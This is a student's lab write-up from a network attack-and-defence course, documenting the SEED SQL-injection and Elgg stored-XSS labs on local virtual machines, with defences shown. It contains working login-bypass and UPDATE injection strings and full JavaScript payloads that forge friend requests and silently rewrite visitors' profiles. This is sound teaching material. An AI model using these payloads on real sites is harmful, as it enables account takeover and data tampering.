20252914 2025-2026-2 《网络攻防实践》第10次作业

20252914 2025-2026-2 《网络攻防实践》第10周作业

1.知识点梳理与总结

一、SQL注入攻击与防御实验

1. 实验基础

目标系统:员工管理Web系统,分管理员(全权限)普通员工(仅管理自身信息);核心数据库Users,数据表credential,存储员工账号、密码、薪资、SSN等隐私数据。

漏洞核心成因:后端直接拼接用户输入到SQL语句,未过滤、未预编译,用户输入可被解析为SQL指令。

2. 两类核心注入攻击

(1)SELECT语句注入(登录绕过)

攻击场景:登录接口无密码校验绕过

核心原理:用单引号闭合原生SQL,or构造永真条件,注释符屏蔽后续语句

万能Payload:admin' or '1'='1--

攻击效果:无需密码,直接以高权限身份登录,查询全站员工敏感数据。

(2)UPDATE语句注入(数据篡改)

攻击场景:员工个人信息更新接口

核心原理:篡改update语句条件,突破自身数据限制,批量修改全表数据

攻击效果:普通员工可篡改所有用户薪资、密码等核心数据,实现越权操作。

3. SQL注入防御方案

  • 核心根治:使用预编译参数化SQL,严格分离SQL代码与用户数据

  • 基础防护:过滤单引号、or、union等特殊字符与关键字,输入白名单校验

  • 权限防护:数据库账号最小权限配置

  • 运维防护:关闭SQL报错信息回显

二、XSS跨站脚本攻击与防御实验(Elgg)

1. 实验基础

漏洞类型:存储型XSS(高危)

漏洞成因:Web系统未过滤用户输入的JS/HTML代码,恶意脚本存入数据库,其他用户访问页面时自动执行。

2. 逐级攻击实验核心

  • 基础弹窗:植入<script>alert('测试')</script>,验证脚本可执行

  • Cookie获取:JS读取浏览器Cookie,弹窗展示受害者隐私Cookie

  • Cookie窃取:通过图片请求将受害者Cookie发送至攻击者服务器,实现账号劫持

  • 静默操作:伪造HTTP请求,自动给受害者加好友、篡改受害者个人资料,无交互、无感知

  • XSS蠕虫:恶意脚本自我复制,自动感染其他用户主页,实现全站批量传播沦陷

3. XSS防御方案

  • 核心防护:输入过滤特殊字符,页面输出HTML编码,让脚本转为普通文本

  • Cookie防护:设置HttpOnly属性,禁止JS读取Cookie

  • 策略防护:配置CSP内容安全策略,拦截恶意脚本执行

  • 接口防护:关键操作添加CSRF令牌校验,防止伪造请求

2.实验过程

一、SEED SQL注入攻击与防御实验

首先安装下载SEEDUbuntu-16.04-32bit.zip,解压后在VMware中创建新的虚拟机:
image

image
在终端中输入指令su -进入root模式,输入hostname ydb临时修改主机名(密码为seedubuntu):
image
输入指令mysql -u root -p登录数据库:
image
输入指令use Users;查看Users数据库:
image
输入指令show tables;查看该数据库中的所有表:
image
输入指令desc credential;查看 credential 表结构:
image
可以看到ID、名字、薪资、地址等结构。
输入指令select * from credential;
image
之后进行对SELECT语句的SQL注入攻击:在不知道密码的情况下登陆该Web应用程序:
打开www.seedlabsqlinjection.com靶场:
image
按F12打开调试器 (Debugger),查看原始 JS、前端源码:
image
尝试输入并查看Network对应信息:
image
关键信息提取:
请求地址:http://www.seedlabsqlinjection.com/unsafe_home.php
传参方式:GET 请求,参数username=a(URL 拼接传参,SQL 注入典型漏洞点)
状态码:200 OK(请求正常返回页面)
后端地址:127.0.0.1:80
协议:HTTP/1.1
在本地文件中找到对应的后端php源码:
image
查看源码能够发现典型的SQL注入漏洞:
image
在USERNAME一栏输入Admin'#会使得SQL语句变为:SELECT * FROM credential WHERE name= 'Admin'#' and Password=''
image
登陆成功

之后开始对UPDATE语句的SQL注入攻击:
调整比例,点击edit profile:
image
同样进行随机输入后查看Network:
image

在本地文件中找到对应的unsafe_edit_backend.php文件:
image
查看该文件源码:
image
$sql = "UPDATE credential SET nickname='$input_nickname',email='$input_email',address='$input_address',PhoneNumber='$input_phonenumber' where ID=$id;";

可以在昵称中输入',Salary='2914' where name='Admin';#,拼接后执行UPDATE credential SET nickname='',Salary='2914' where name='Admin';#
image
篡改成功

接下来修复上述漏洞:
安装VMware tools,页面放大:
image
编辑unsafe_home.php文件,使用

$sql = $conn->prepare("SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email, nickname, Password FROM credential WHERE name= ? and Password= ?");
$sql->bind_param("ss", $input_uname, $hashed_pwd);
$sql->execute();
$result = $sql->get_result();

替换原SQL语句内容,用户输入仅作为参数值,单引号、SQL 关键字全被当作普通文本,无法篡改 SQL 结构。
image

之后以同样方式修复unsafe_edit_backend.php:
image

再次使用Admin'#登录:
image
登录失败

二、SEED XSS跨站脚本攻击实验(Elgg)

访问http://www.xsslabelgg.com:
image
使用Alice账号进行登录,密码为seedalice:
image

进入Alice的主页,
image
选择 Edit profile:
image
输入
image
image

修改输入为,使其弹窗cookie信息:
image

查看本机IP地址(192.168.200.7):
image

修改恶意代码为:
将Cookie信息发送到2914端口,并进行监听:
image

访问Boby的主页,并添加好友:
image
image
image

将以下代码放入Alice的 "About me" 字段:

<script type="text/javascript">window.onload = function () {
var Ajax=null;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
var sendurl = "http://www.xsslabelgg.com/action/friends/add?friend=44&from=ydb" + ts + token;

Ajax = new XMLHttpRequest();
Ajax.open("GET", sendurl, true);
Ajax.setRequestHeader("Host", "www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
Ajax.send();}</script>

image

之后使用Samy账号登录并访问Alice的主页:
image
发现自动添加Alice为好友:
image
重新构造以下代码:

<script type="text/javascript">window.onload = function(){
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
var content= token + ts + "name=" + userName + "&description=<p>20252914ydb
</p>&accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit";

var samyGuid=44;
if(elgg.session.user.guid!=samyGuid){
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
Ajax.send(content);
}}</script>

登录Boby账号访问Alice后查看主页发现已被篡改:
image

修复:
登录admin账号(密码为seedelgg),进入Plugins:
image
启用HTMLawed插件:
image

重新登录Alice账号:
image
恶意代码以字符串形式显示

3.学习中遇到的问题及解决

暂无

4.学习感悟

通过本次 SEED 的 SQL 注入、XSS 跨站脚本实验,我认清两类 Web 漏洞的本质成因:开发者直接拼接用户输入,混淆了代码与数据边界。在 SQL 注入实验中,SELECT 注入依靠单引号闭合绕过登录,UPDATE 注入篡改语句实现批量篡改全表数据,直观体会到随意拼接 SQL 带来的数据泄露、越权篡改风险;而 Elgg 平台存储型 XSS 实验,从弹窗、窃取 Cookie 到编写蠕虫批量感染用户,明白了恶意 JS 存入数据库后会在受害者浏览器中自动执行,造成账号劫持与全站沦陷。

参考资料

《Java程序设计与数据结构教程(第二版)》
《Java程序设计与数据结构教程(第二版)》学习指导

posted @ 2026-06-02 21:03  20252914  阅读(15)  评论(0)    收藏  举报